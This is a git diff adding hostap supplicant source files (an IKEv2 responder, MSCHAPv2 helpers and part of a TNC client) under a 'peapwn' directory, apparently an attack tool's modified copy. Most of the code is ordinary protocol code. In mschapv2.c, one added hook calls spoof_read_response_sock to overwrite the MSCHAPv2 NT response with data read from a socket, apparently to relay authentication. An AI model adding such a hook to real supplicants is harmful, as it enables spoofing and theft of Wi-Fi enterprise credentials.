wpa_printf(MSG_DEBUG, "IKEV2: Adding SAr1 payload"); + + /* SAr1 - RFC 4306, Sect. 2.7 and 3.3 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + + p = wpabuf_put(msg, sizeof(*p)); +#ifdef CCNS_PL + /* Seems to require that the Proposal # is 1 even though RFC 4306 + * Sect 3.3.1 has following requirement "When a proposal is accepted, + * all of the proposal numbers in the SA payload MUST be the same and + * MUST match the number on the proposal sent that was accepted.". + */ + p->proposal_num = 1; +#else /* CCNS_PL */ + p->proposal_num = data->proposal.proposal_num; +#endif /* CCNS_PL */ + p->protocol_id = IKEV2_PROTOCOL_IKE; + p->num_transforms = 4; + + t = wpabuf_put(msg, sizeof(*t)); + t->type = 3; + t->transform_type = IKEV2_TRANSFORM_ENCR; + WPA_PUT_BE16(t->transform_id, data->proposal.encr); + if (data->proposal.encr == ENCR_AES_CBC) { + /* Transform Attribute: Key Len = 128 bits */ +#ifdef CCNS_PL + wpabuf_put_be16(msg, 0x001d); /* ?? */ +#else /* CCNS_PL */ + wpabuf_put_be16(msg, 0x800e); /* AF=1, AttrType=14 */ +#endif /* CCNS_PL */ + wpabuf_put_be16(msg, 128); /* 128-bit key */ + } + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) t; + WPA_PUT_BE16(t->transform_length, plen); + + t = wpabuf_put(msg, sizeof(*t)); + t->type = 3; + WPA_PUT_BE16(t->transform_length, sizeof(*t)); + t->transform_type = IKEV2_TRANSFORM_PRF; + WPA_PUT_BE16(t->transform_id, data->proposal.prf); + + t = wpabuf_put(msg, sizeof(*t)); + t->type = 3; + WPA_PUT_BE16(t->transform_length, sizeof(*t)); + t->transform_type = IKEV2_TRANSFORM_INTEG; + WPA_PUT_BE16(t->transform_id, data->proposal.integ); + + t = wpabuf_put(msg, sizeof(*t)); + WPA_PUT_BE16(t->transform_length, sizeof(*t)); + t->transform_type = IKEV2_TRANSFORM_DH; + WPA_PUT_BE16(t->transform_id, data->proposal.dh); + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) p; + WPA_PUT_BE16(p->proposal_length, plen); + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + + return 0; +} + + +static int ikev2_build_ker(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + struct wpabuf *pv; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding KEr payload"); + + pv = dh_init(data->dh, &data->r_dh_private); + if (pv == NULL) { + wpa_printf(MSG_DEBUG, "IKEV2: Failed to initialize DH"); + return -1; + } + + /* KEr - RFC 4306, Sect. 3.4 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + + wpabuf_put_be16(msg, data->proposal.dh); /* DH Group # */ + wpabuf_put(msg, 2); /* RESERVED */ + /* + * RFC 4306, Sect. 3.4: possible zero padding for public value to + * match the length of the prime. + */ + wpabuf_put(msg, data->dh->prime_len - wpabuf_len(pv)); + wpabuf_put_buf(msg, pv); + wpabuf_free(pv); + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_nr(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding Nr payload"); + + /* Nr - RFC 4306, Sect. 3.9 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + wpabuf_put_data(msg, data->r_nonce, data->r_nonce_len); + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_idr(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding IDr payload"); + + if (data->IDr == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No IDr available"); + return -1; + } + + /* IDr - RFC 4306, Sect. 3.5 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + wpabuf_put_u8(msg, ID_KEY_ID); + wpabuf_put(msg, 3); /* RESERVED */ + wpabuf_put_data(msg, data->IDr, data->IDr_len); + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_auth(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + const struct ikev2_prf_alg *prf; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding AUTH payload"); + + prf = ikev2_get_prf(data->proposal.prf); + if (prf == NULL) + return -1; + + /* Authentication - RFC 4306, Sect. 3.8 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + wpabuf_put_u8(msg, AUTH_SHARED_KEY_MIC); + wpabuf_put(msg, 3); /* RESERVED */ + + /* msg | Ni | prf(SK_pr,IDr') */ + if (ikev2_derive_auth_data(data->proposal.prf, data->r_sign_msg, + data->IDr, data->IDr_len, ID_KEY_ID, + &data->keys, 0, data->shared_secret, + data->shared_secret_len, + data->i_nonce, data->i_nonce_len, + data->key_pad, data->key_pad_len, + wpabuf_put(msg, prf->hash_len)) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Could not derive AUTH data"); + return -1; + } + wpabuf_free(data->r_sign_msg); + data->r_sign_msg = NULL; + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_notification(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding Notification payload"); + + if (data->error_type == 0) { + wpa_printf(MSG_INFO, "IKEV2: No Notify Message Type " + "available"); + return -1; + } + + /* Notify - RFC 4306, Sect. 3.10 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; +#ifdef CCNS_PL + wpabuf_put_u8(msg, 1); /* Protocol ID: IKE_SA notification */ +#else /* CCNS_PL */ + wpabuf_put_u8(msg, 0); /* Protocol ID: no existing SA */ +#endif /* CCNS_PL */ + wpabuf_put_u8(msg, 0); /* SPI Size */ + wpabuf_put_be16(msg, data->error_type); + + switch (data->error_type) { + case INVALID_KE_PAYLOAD: + if (data->proposal.dh == -1) { + wpa_printf(MSG_INFO, "IKEV2: No DH Group selected for " + "INVALID_KE_PAYLOAD notifications"); + return -1; + } + wpabuf_put_be16(msg, data->proposal.dh); + wpa_printf(MSG_DEBUG, "IKEV2: INVALID_KE_PAYLOAD - request " + "DH Group #%d", data->proposal.dh); + break; + case AUTHENTICATION_FAILED: + /* no associated data */ + break; + default: + wpa_printf(MSG_INFO, "IKEV2: Unsupported Notify Message Type " + "%d", data->error_type); + return -1; + } + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static struct wpabuf * ikev2_build_sa_init(struct ikev2_responder_data *data) +{ + struct wpabuf *msg; + + /* build IKE_SA_INIT: HDR, SAr1, KEr, Nr, [CERTREQ], [SK{IDr}] */ + + if (os_get_random(data->r_spi, IKEV2_SPI_LEN)) + return NULL; + wpa_hexdump(MSG_DEBUG, "IKEV2: IKE_SA Responder's SPI", + data->r_spi, IKEV2_SPI_LEN); + + data->r_nonce_len = IKEV2_NONCE_MIN_LEN; + if (random_get_bytes(data->r_nonce, data->r_nonce_len)) + return NULL; +#ifdef CCNS_PL + /* Zeros are removed incorrectly from the beginning of the nonces in + * key derivation; as a workaround, make sure Nr does not start with + * zero.. */ + if (data->r_nonce[0] == 0) + data->r_nonce[0] = 1; +#endif /* CCNS_PL */ + wpa_hexdump(MSG_DEBUG, "IKEV2: Nr", data->r_nonce, data->r_nonce_len); + + msg = wpabuf_alloc(sizeof(struct ikev2_hdr) + data->IDr_len + 1500); + if (msg == NULL) + return NULL; + + ikev2_build_hdr(data, msg, IKE_SA_INIT, IKEV2_PAYLOAD_SA, 0); + if (ikev2_build_sar1(data, msg, IKEV2_PAYLOAD_KEY_EXCHANGE) || + ikev2_build_ker(data, msg, IKEV2_PAYLOAD_NONCE) || + ikev2_build_nr(data, msg, data->peer_auth == PEER_AUTH_SECRET ? + IKEV2_PAYLOAD_ENCRYPTED : + IKEV2_PAYLOAD_NO_NEXT_PAYLOAD)) { + wpabuf_free(msg); + return NULL; + } + + if (ikev2_derive_keys(data)) { + wpabuf_free(msg); + return NULL; + } + + if (data->peer_auth == PEER_AUTH_CERT) { + /* TODO: CERTREQ with SHA-1 hashes of Subject Public Key Info + * for trust agents */ + } + + if (data->peer_auth == PEER_AUTH_SECRET) { + struct wpabuf *plain = wpabuf_alloc(data->IDr_len + 1000); + if (plain == NULL) { + wpabuf_free(msg); + return NULL; + } + if (ikev2_build_idr(data, plain, + IKEV2_PAYLOAD_NO_NEXT_PAYLOAD) || + ikev2_build_encrypted(data->proposal.encr, + data->proposal.integ, + &data->keys, 0, msg, plain, + IKEV2_PAYLOAD_IDr)) { + wpabuf_free(plain); + wpabuf_free(msg); + return NULL; + } + wpabuf_free(plain); + } + + ikev2_update_hdr(msg); + + wpa_hexdump_buf(MSG_MSGDUMP, "IKEV2: Sending message (SA_INIT)", msg); + + data->state = SA_AUTH; + + wpabuf_free(data->r_sign_msg); + data->r_sign_msg = wpabuf_dup(msg); + + return msg; +} + + +static struct wpabuf * ikev2_build_sa_auth(struct ikev2_responder_data *data) +{ + struct wpabuf *msg, *plain; + + /* build IKE_SA_AUTH: HDR, SK {IDr, [CERT,] AUTH} */ + + msg = wpabuf_alloc(sizeof(struct ikev2_hdr) + data->IDr_len + 1000); + if (msg == NULL) + return NULL; + ikev2_build_hdr(data, msg, IKE_SA_AUTH, IKEV2_PAYLOAD_ENCRYPTED, 1); + + plain = wpabuf_alloc(data->IDr_len + 1000); + if (plain == NULL) { + wpabuf_free(msg); + return NULL; + } + + if (ikev2_build_idr(data, plain, IKEV2_PAYLOAD_AUTHENTICATION) || + ikev2_build_auth(data, plain, IKEV2_PAYLOAD_NO_NEXT_PAYLOAD) || + ikev2_build_encrypted(data->proposal.encr, data->proposal.integ, + &data->keys, 0, msg, plain, + IKEV2_PAYLOAD_IDr)) { + wpabuf_free(plain); + wpabuf_free(msg); + return NULL; + } + wpabuf_free(plain); + + wpa_hexdump_buf(MSG_MSGDUMP, "IKEV2: Sending message (SA_AUTH)", msg); + + data->state = IKEV2_DONE; + + return msg; +} + + +static struct wpabuf * ikev2_build_notify(struct ikev2_responder_data *data) +{ + struct wpabuf *msg; + + msg = wpabuf_alloc(sizeof(struct ikev2_hdr) + 1000); + if (msg == NULL) + return NULL; + if (data->last_msg == LAST_MSG_SA_AUTH) { + /* HDR, SK{N} */ + struct wpabuf *plain = wpabuf_alloc(100); + if (plain == NULL) { + wpabuf_free(msg); + return NULL; + } + ikev2_build_hdr(data, msg, IKE_SA_AUTH, + IKEV2_PAYLOAD_ENCRYPTED, 1); + if (ikev2_build_notification(data, plain, + IKEV2_PAYLOAD_NO_NEXT_PAYLOAD) || + ikev2_build_encrypted(data->proposal.encr, + data->proposal.integ, + &data->keys, 0, msg, plain, + IKEV2_PAYLOAD_NOTIFICATION)) { + wpabuf_free(plain); + wpabuf_free(msg); + return NULL; + } + data->state = IKEV2_FAILED; + } else { + /* HDR, N */ + ikev2_build_hdr(data, msg, IKE_SA_INIT, + IKEV2_PAYLOAD_NOTIFICATION, 0); + if (ikev2_build_notification(data, msg, + IKEV2_PAYLOAD_NO_NEXT_PAYLOAD)) { + wpabuf_free(msg); + return NULL; + } + data->state = SA_INIT; + } + + ikev2_update_hdr(msg); + + wpa_hexdump_buf(MSG_MSGDUMP, "IKEV2: Sending message (Notification)", + msg); + + return msg; +} + + +struct wpabuf * ikev2_responder_build(struct ikev2_responder_data *data) +{ + switch (data->state) { + case SA_INIT: + return ikev2_build_sa_init(data); + case SA_AUTH: + return ikev2_build_sa_auth(data); + case CHILD_SA: + return NULL; + case NOTIFY: + return ikev2_build_notify(data); + case IKEV2_DONE: + case IKEV2_FAILED: + return NULL; + } + return NULL; +} diff --git a/peapwn/mods/hostap/src/eap_peer/ikev2.h b/peapwn/mods/hostap/src/eap_peer/ikev2.h new file mode 100644 index 000000000..627a2cbbb --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/ikev2.h @@ -0,0 +1,59 @@ +/* + * IKEv2 responder (RFC 4306) for EAP-IKEV2 + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IKEV2_H +#define IKEV2_H + +#include "eap_common/ikev2_common.h" + +struct ikev2_proposal_data { + u8 proposal_num; + int integ; + int prf; + int encr; + int dh; +}; + + +struct ikev2_responder_data { + enum { SA_INIT, SA_AUTH, CHILD_SA, NOTIFY, IKEV2_DONE, IKEV2_FAILED } + state; + u8 i_spi[IKEV2_SPI_LEN]; + u8 r_spi[IKEV2_SPI_LEN]; + u8 i_nonce[IKEV2_NONCE_MAX_LEN]; + size_t i_nonce_len; + u8 r_nonce[IKEV2_NONCE_MAX_LEN]; + size_t r_nonce_len; + struct wpabuf *i_dh_public; + struct wpabuf *r_dh_private; + struct ikev2_proposal_data proposal; + const struct dh_group *dh; + struct ikev2_keys keys; + u8 *IDi; + size_t IDi_len; + u8 IDi_type; + u8 *IDr; + size_t IDr_len; + struct wpabuf *r_sign_msg; + struct wpabuf *i_sign_msg; + u8 *shared_secret; + size_t shared_secret_len; + enum { PEER_AUTH_CERT, PEER_AUTH_SECRET } peer_auth; + u8 *key_pad; + size_t key_pad_len; + u16 error_type; + enum { LAST_MSG_SA_INIT, LAST_MSG_SA_AUTH } last_msg; +}; + + +void ikev2_responder_deinit(struct ikev2_responder_data *data); +int ikev2_responder_process(struct ikev2_responder_data *data, + const struct wpabuf *buf); +struct wpabuf * ikev2_responder_build(struct ikev2_responder_data *data); + +#endif /* IKEV2_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/mschapv2.c b/peapwn/mods/hostap/src/eap_peer/mschapv2.c new file mode 100644 index 000000000..a2a736b6a --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/mschapv2.c @@ -0,0 +1,133 @@ +/* + * MSCHAPV2 (RFC 2759) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/ms_funcs.h" +#include "mschapv2.h" +#include "spoof/spoof.h" + +const u8 * mschapv2_remove_domain(const u8 *username, size_t *len) +{ + size_t i; + + /* + * MSCHAPv2 does not include optional domain name in the + * challenge-response calculation, so remove domain prefix + * (if present). + */ + + for (i = 0; i < *len; i++) { + if (username[i] == '\\') { + *len -= i + 1; + return username + i + 1; + } + } + + return username; +} + + +int mschapv2_derive_response(const u8 *identity, size_t identity_len, + const u8 *password, size_t password_len, + int pwhash, + const u8 *auth_challenge, + const u8 *peer_challenge, + u8 *nt_response, u8 *auth_response, + u8 *master_key) +{ + const u8 *username; + size_t username_len; + u8 password_hash[16], password_hash_hash[16]; + + wpa_hexdump_ascii(MSG_DEBUG, "MSCHAPV2: Identity", + identity, identity_len); + username_len = identity_len; + username = mschapv2_remove_domain(identity, &username_len); + wpa_hexdump_ascii(MSG_DEBUG, "MSCHAPV2: Username", + username, username_len); + + wpa_hexdump(MSG_DEBUG, "MSCHAPV2: auth_challenge", + auth_challenge, MSCHAPV2_CHAL_LEN); + wpa_hexdump(MSG_DEBUG, "MSCHAPV2: peer_challenge", + peer_challenge, MSCHAPV2_CHAL_LEN); + wpa_hexdump_ascii(MSG_DEBUG, "MSCHAPV2: username", + username, username_len); + + /* Authenticator response is not really needed yet, but calculate it + * here so that challenges need not be saved. */ + if (pwhash) { + wpa_hexdump_key(MSG_DEBUG, "MSCHAPV2: password hash", + password, password_len); + if (generate_nt_response_pwhash(auth_challenge, peer_challenge, + username, username_len, + password, nt_response)) + return -1; + +#ifdef FROM_WPA_SUPPLICANT + spoof_read_response_sock(&nt_response); // Spoof. Write first 8 bytes of challenge +#endif + + if(generate_authenticator_response_pwhash( + password, peer_challenge, auth_challenge, + username, username_len, nt_response, + auth_response)) + return -1; + } else { + wpa_hexdump_ascii_key(MSG_DEBUG, "MSCHAPV2: password", + password, password_len); + if (generate_nt_response(auth_challenge, peer_challenge, + username, username_len, + password, password_len, + nt_response) || + generate_authenticator_response(password, password_len, + peer_challenge, + auth_challenge, + username, username_len, + nt_response, + auth_response)) + return -1; + } + + wpa_hexdump(MSG_DEBUG, "MSCHAPV2: NT Response", + nt_response, MSCHAPV2_NT_RESPONSE_LEN); + wpa_hexdump(MSG_DEBUG, "MSCHAPV2: Auth Response", + auth_response, MSCHAPV2_AUTH_RESPONSE_LEN); + + /* Generate master_key here since we have the needed data available. */ + if (pwhash) { + if (hash_nt_password_hash(password, password_hash_hash)) + return -1; + } else { + if (nt_password_hash(password, password_len, password_hash) || + hash_nt_password_hash(password_hash, password_hash_hash)) + return -1; + } + if (get_master_key(password_hash_hash, nt_response, master_key)) + return -1; + wpa_hexdump_key(MSG_DEBUG, "MSCHAPV2: Master Key", + master_key, MSCHAPV2_MASTER_KEY_LEN); + + return 0; +} + + +int mschapv2_verify_auth_response(const u8 *auth_response, + const u8 *buf, size_t buf_len) +{ + u8 recv_response[MSCHAPV2_AUTH_RESPONSE_LEN]; + if (buf_len < 2 + 2 * MSCHAPV2_AUTH_RESPONSE_LEN || + buf[0] != 'S' || buf[1] != '=' || + hexstr2bin((char *) (buf + 2), recv_response, + MSCHAPV2_AUTH_RESPONSE_LEN) || + os_memcmp(auth_response, recv_response, + MSCHAPV2_AUTH_RESPONSE_LEN) != 0) + return -1; + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_peer/mschapv2.h b/peapwn/mods/hostap/src/eap_peer/mschapv2.h new file mode 100644 index 000000000..edd458b40 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/mschapv2.h @@ -0,0 +1,28 @@ +/* + * MSCHAPV2 (RFC 2759) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef MSCHAPV2_H +#define MSCHAPV2_H + +#define MSCHAPV2_CHAL_LEN 16 +#define MSCHAPV2_NT_RESPONSE_LEN 24 +#define MSCHAPV2_AUTH_RESPONSE_LEN 20 +#define MSCHAPV2_MASTER_KEY_LEN 16 + +const u8 * mschapv2_remove_domain(const u8 *username, size_t *len); +int mschapv2_derive_response(const u8 *username, size_t username_len, + const u8 *password, size_t password_len, + int pwhash, + const u8 *auth_challenge, + const u8 *peer_challenge, + u8 *nt_response, u8 *auth_response, + u8 *master_key); +int mschapv2_verify_auth_response(const u8 *auth_response, + const u8 *buf, size_t buf_len); + +#endif /* MSCHAPV2_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/tncc.c b/peapwn/mods/hostap/src/eap_peer/tncc.c new file mode 100644 index 000000000..a3ec39514 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/tncc.c @@ -0,0 +1,1361 @@ +/* + * EAP-TNC - TNCC (IF-IMC and IF-TNCCS) + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#ifndef CONFIG_NATIVE_WINDOWS +#include +#endif /* CONFIG_NATIVE_WINDOWS */ + +#include "common.h" +#include "base64.h" +#include "tncc.h" +#include "eap_common/eap_tlv_common.h" +#include "eap_common/eap_defs.h" + + +#ifdef UNICODE +#define TSTR "%S" +#else /* UNICODE */ +#define TSTR "%s" +#endif /* UNICODE */ + + +#define TNC_CONFIG_FILE "/etc/tnc_config" +#define TNC_WINREG_PATH TEXT("SOFTWARE\\Trusted Computing Group\\TNC\\IMCs") +#define IF_TNCCS_START \ +"\n" \ +"\n" +#define IF_TNCCS_END "\n" + +/* TNC IF-IMC */ + +typedef unsigned long TNC_UInt32; +typedef unsigned char *TNC_BufferReference; + +typedef TNC_UInt32 TNC_IMCID; +typedef TNC_UInt32 TNC_ConnectionID; +typedef TNC_UInt32 TNC_ConnectionState; +typedef TNC_UInt32 TNC_RetryReason; +typedef TNC_UInt32 TNC_MessageType; +typedef TNC_MessageType *TNC_MessageTypeList; +typedef TNC_UInt32 TNC_VendorID; +typedef TNC_UInt32 TNC_MessageSubtype; +typedef TNC_UInt32 TNC_Version; +typedef TNC_UInt32 TNC_Result; + +typedef TNC_Result (*TNC_TNCC_BindFunctionPointer)( + TNC_IMCID imcID, + char *functionName, + void **pOutfunctionPointer); + +#define TNC_RESULT_SUCCESS 0 +#define TNC_RESULT_NOT_INITIALIZED 1 +#define TNC_RESULT_ALREADY_INITIALIZED 2 +#define TNC_RESULT_NO_COMMON_VERSION 3 +#define TNC_RESULT_CANT_RETRY 4 +#define TNC_RESULT_WONT_RETRY 5 +#define TNC_RESULT_INVALID_PARAMETER 6 +#define TNC_RESULT_CANT_RESPOND 7 +#define TNC_RESULT_ILLEGAL_OPERATION 8 +#define TNC_RESULT_OTHER 9 +#define TNC_RESULT_FATAL 10 + +#define TNC_CONNECTION_STATE_CREATE 0 +#define TNC_CONNECTION_STATE_HANDSHAKE 1 +#define TNC_CONNECTION_STATE_ACCESS_ALLOWED 2 +#define TNC_CONNECTION_STATE_ACCESS_ISOLATED 3 +#define TNC_CONNECTION_STATE_ACCESS_NONE 4 +#define TNC_CONNECTION_STATE_DELETE 5 + +#define TNC_IFIMC_VERSION_1 1 + +#define TNC_VENDORID_ANY ((TNC_VendorID) 0xffffff) +#define TNC_SUBTYPE_ANY ((TNC_MessageSubtype) 0xff) + +/* TNCC-TNCS Message Types */ +#define TNC_TNCCS_RECOMMENDATION 0x00000001 +#define TNC_TNCCS_ERROR 0x00000002 +#define TNC_TNCCS_PREFERREDLANGUAGE 0x00000003 +#define TNC_TNCCS_REASONSTRINGS 0x00000004 + + +/* IF-TNCCS-SOH - SSoH and SSoHR Attributes */ +enum { + SSOH_MS_MACHINE_INVENTORY = 1, + SSOH_MS_QUARANTINE_STATE = 2, + SSOH_MS_PACKET_INFO = 3, + SSOH_MS_SYSTEMGENERATED_IDS = 4, + SSOH_MS_MACHINENAME = 5, + SSOH_MS_CORRELATIONID = 6, + SSOH_MS_INSTALLED_SHVS = 7, + SSOH_MS_MACHINE_INVENTORY_EX = 8 +}; + +struct tnc_if_imc { + struct tnc_if_imc *next; + char *name; + char *path; + void *dlhandle; /* from dlopen() */ + TNC_IMCID imcID; + TNC_ConnectionID connectionID; + TNC_MessageTypeList supported_types; + size_t num_supported_types; + u8 *imc_send; + size_t imc_send_len; + + /* Functions implemented by IMCs (with TNC_IMC_ prefix) */ + TNC_Result (*Initialize)( + TNC_IMCID imcID, + TNC_Version minVersion, + TNC_Version maxVersion, + TNC_Version *pOutActualVersion); + TNC_Result (*NotifyConnectionChange)( + TNC_IMCID imcID, + TNC_ConnectionID connectionID, + TNC_ConnectionState newState); + TNC_Result (*BeginHandshake)( + TNC_IMCID imcID, + TNC_ConnectionID connectionID); + TNC_Result (*ReceiveMessage)( + TNC_IMCID imcID, + TNC_ConnectionID connectionID, + TNC_BufferReference messageBuffer, + TNC_UInt32 messageLength, + TNC_MessageType messageType); + TNC_Result (*BatchEnding)( + TNC_IMCID imcID, + TNC_ConnectionID connectionID); + TNC_Result (*Terminate)(TNC_IMCID imcID); + TNC_Result (*ProvideBindFunction)( + TNC_IMCID imcID, + TNC_TNCC_BindFunctionPointer bindFunction); +}; + +struct tncc_data { + struct tnc_if_imc *imc; + unsigned int last_batchid; +}; + +#define TNC_MAX_IMC_ID 10 +static struct tnc_if_imc *tnc_imc[TNC_MAX_IMC_ID] = { NULL }; + + +/* TNCC functions that IMCs can call */ + +TNC_Result TNC_TNCC_ReportMessageTypes( + TNC_IMCID imcID, + TNC_MessageTypeList supportedTypes, + TNC_UInt32 typeCount) +{ + TNC_UInt32 i; + struct tnc_if_imc *imc; + + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCC_ReportMessageTypes(imcID=%lu " + "typeCount=%lu)", + (unsigned long) imcID, (unsigned long) typeCount); + + for (i = 0; i < typeCount; i++) { + wpa_printf(MSG_DEBUG, "TNC: supportedTypes[%lu] = %lu", + i, supportedTypes[i]); + } + + if (imcID >= TNC_MAX_IMC_ID || tnc_imc[imcID] == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + imc = tnc_imc[imcID]; + os_free(imc->supported_types); + imc->supported_types = + os_malloc(typeCount * sizeof(TNC_MessageType)); + if (imc->supported_types == NULL) + return TNC_RESULT_FATAL; + os_memcpy(imc->supported_types, supportedTypes, + typeCount * sizeof(TNC_MessageType)); + imc->num_supported_types = typeCount; + + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCC_SendMessage( + TNC_IMCID imcID, + TNC_ConnectionID connectionID, + TNC_BufferReference message, + TNC_UInt32 messageLength, + TNC_MessageType messageType) +{ + struct tnc_if_imc *imc; + unsigned char *b64; + size_t b64len; + + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCC_SendMessage(imcID=%lu " + "connectionID=%lu messageType=%lu)", + imcID, connectionID, messageType); + wpa_hexdump_ascii(MSG_DEBUG, "TNC: TNC_TNCC_SendMessage", + message, messageLength); + + if (imcID >= TNC_MAX_IMC_ID || tnc_imc[imcID] == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + b64 = base64_encode(message, messageLength, &b64len); + if (b64 == NULL) + return TNC_RESULT_FATAL; + + imc = tnc_imc[imcID]; + os_free(imc->imc_send); + imc->imc_send_len = 0; + imc->imc_send = os_zalloc(b64len + 100); + if (imc->imc_send == NULL) { + os_free(b64); + return TNC_RESULT_OTHER; + } + + imc->imc_send_len = + os_snprintf((char *) imc->imc_send, b64len + 100, + "%08X" + "%s", + (unsigned int) messageType, b64); + + os_free(b64); + + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCC_RequestHandshakeRetry( + TNC_IMCID imcID, + TNC_ConnectionID connectionID, + TNC_RetryReason reason) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCC_RequestHandshakeRetry"); + + if (imcID >= TNC_MAX_IMC_ID || tnc_imc[imcID] == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + /* + * TODO: trigger a call to eapol_sm_request_reauth(). This would + * require that the IMC continues to be loaded in memory afer + * authentication.. + */ + + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_9048_LogMessage(TNC_IMCID imcID, TNC_UInt32 severity, + const char *message) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_9048_LogMessage(imcID=%lu " + "severity==%lu message='%s')", + imcID, severity, message); + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_9048_UserMessage(TNC_IMCID imcID, TNC_ConnectionID connectionID, + const char *message) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_9048_UserMessage(imcID=%lu " + "connectionID==%lu message='%s')", + imcID, connectionID, message); + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCC_BindFunction( + TNC_IMCID imcID, + char *functionName, + void **pOutfunctionPointer) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCC_BindFunction(imcID=%lu, " + "functionName='%s')", (unsigned long) imcID, functionName); + + if (imcID >= TNC_MAX_IMC_ID || tnc_imc[imcID] == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + if (pOutfunctionPointer == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + if (os_strcmp(functionName, "TNC_TNCC_ReportMessageTypes") == 0) + *pOutfunctionPointer = TNC_TNCC_ReportMessageTypes; + else if (os_strcmp(functionName, "TNC_TNCC_SendMessage") == 0) + *pOutfunctionPointer = TNC_TNCC_SendMessage; + else if (os_strcmp(functionName, "TNC_TNCC_RequestHandshakeRetry") == + 0) + *pOutfunctionPointer = TNC_TNCC_RequestHandshakeRetry; + else if (os_strcmp(functionName, "TNC_9048_LogMessage") == 0) + *pOutfunctionPointer = TNC_9048_LogMessage; + else if (os_strcmp(functionName, "TNC_9048_UserMessage") == 0) + *pOutfunctionPointer = TNC_9048_UserMessage; + else + *pOutfunctionPointer = NULL; + + return TNC_RESULT_SUCCESS; +} + + +static void * tncc_get_sym(void *handle, char *func) +{ + void *fptr; + +#ifdef CONFIG_NATIVE_WINDOWS +#ifdef _WIN32_WCE + fptr = GetProcAddressA(handle, func); +#else /* _WIN32_WCE */ + fptr = GetProcAddress(handle, func); +#endif /* _WIN32_WCE */ +#else /* CONFIG_NATIVE_WINDOWS */ + fptr = dlsym(handle, func); +#endif /* CONFIG_NATIVE_WINDOWS */ + + return fptr; +} + + +static int tncc_imc_resolve_funcs(struct tnc_if_imc *imc) +{ + void *handle = imc->dlhandle; + + /* Mandatory IMC functions */ + imc->Initialize = tncc_get_sym(handle, "TNC_IMC_Initialize"); + if (imc->Initialize == NULL) { + wpa_printf(MSG_ERROR, "TNC: IMC does not export " + "TNC_IMC_Initialize"); + return -1; + } + + imc->BeginHandshake = tncc_get_sym(handle, "TNC_IMC_BeginHandshake"); + if (imc->BeginHandshake == NULL) { + wpa_printf(MSG_ERROR, "TNC: IMC does not export " + "TNC_IMC_BeginHandshake"); + return -1; + } 